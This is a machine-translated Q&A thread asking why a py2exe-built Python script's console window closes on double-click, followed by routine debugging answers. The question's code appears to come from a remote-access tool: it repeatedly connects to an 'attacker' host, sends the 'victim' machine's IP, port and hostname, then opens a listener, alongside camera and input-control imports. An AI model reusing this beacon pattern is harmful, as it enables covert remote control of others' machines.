我使用了这个setup.py脚本:
from distutils.core import setup
import py2exe
setup(console=['tcphost.py'])
to compile a code that imports this:
import os
import pygame.camera
import numpy as np
import time
import cv2
import socket
import autopy
import glob
def TCPclient ():
CreatePath()
ViHost = str(socket.gethostbyname(socket.gethostname()))
ViPort = 6869
AtHost = "192.168.56.1"
AtPort = ViPort
AtSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TryCon = True
while TryCon == True:
try:
print "Trying to connect..."
AtSock.connect((AtHost, AtPort))
TryCon = False
except:
print "Could not connect"
TryCon = True
time.sleep(30)
print ("Connected.")
AtSock.send("<||.IP..||>" + ViHost)
time.sleep(1)
AtSock.send("<||.PRT.||>" + str(ViPort))
time.sleep(1)
AtSock.send("<||.NAM.||>" + str(socket.gethostname()))
time.sleep(1)
AtSock.send("<||.EXT.||>")
time.sleep(1)
AtSock.close()
print ("Messages sent and socket closed.")
TCPserver (ViHost, ViPort)
if __name__ == "__main__":
TCPclient()
(不能发布所有代码,因为堆栈溢出会很大)
它编译得很好然而当我尝试运行可执行文件时,会弹出一个终端窗口打印
Trying to connect...
Could not connect
(因为它应该),但然后快速关闭,但如果我尝试从终端运行它它工作正常。 为什么以及如何让它保持开放状态?
修改
为了清楚说明如果我双击可执行文件,会弹出一个窗口并关闭。 如果我从命令行运行exe,一切都很好。
答案 0 :(得分:1)
time.sleep
不是导致脚本停止的原因。
Windows命令正在执行它应该执行的操作,它运行脚本然后当所有内容都执行时它会自行关闭。
阻止这种情况发生的常见方法是在脚本末尾加入input()
:
Python 2.7
raw_input("Press Enter to exit")
或 Python 3.4
input("Press Enter to exit")
答案 1 :(得分:0)
我在尝试时可能出错:-except:syntax / execution但我认为第一次尝试连接时将TryCon设置为False,因此再也不会进入while循环。
while TryCon == True:
try:
print "Trying to connect..."
AtSock.connect((AtHost, AtPort))
TryCon = False # I think this might be your problem
except:
print "Could not connect"
TryCon = True
time.sleep(30)
答案 2 :(得分:0)
是否可能需要为py2exe
编译版本包含Microsoft Visual C运行时DLL才能生效? py2exe教程说这是必需的。
http://www.py2exe.org/index.cgi/Tutorial#Step5
Python time.sleep
函数对OS的sleep
函数进行系统调用或标准库调用。也许这是C Runtime可再发行组件提供的函数之一。
这可以解释为什么time.sleep
在命令提示符下在普通Python解释器中运行时会起作用,但在捆绑的.exe程序中运行时会失败。您看到的行为似乎与time.sleep
调用失败一致:这可能引发您的脚本未处理的异常或其他错误,并导致程序终止,这将关闭控制台窗口。
尝试将整个程序包装在try
/ except
块中,以便捕获其他错误,显示错误并执行input()
技巧以保持控制台窗口打开。您可能还需要缩进函数定义的行以使其被识别为函数体而不是顶级脚本语句。
还尝试从命令行运行捆绑的.exe,而不是双击它。根据它的编译方式,这可能会导致输出转到现有的控制台窗口,该窗口在程序终止后保持打开状态,因此您可以看到任何错误消息。您也可以使用Windows start
命令获得相同的效果。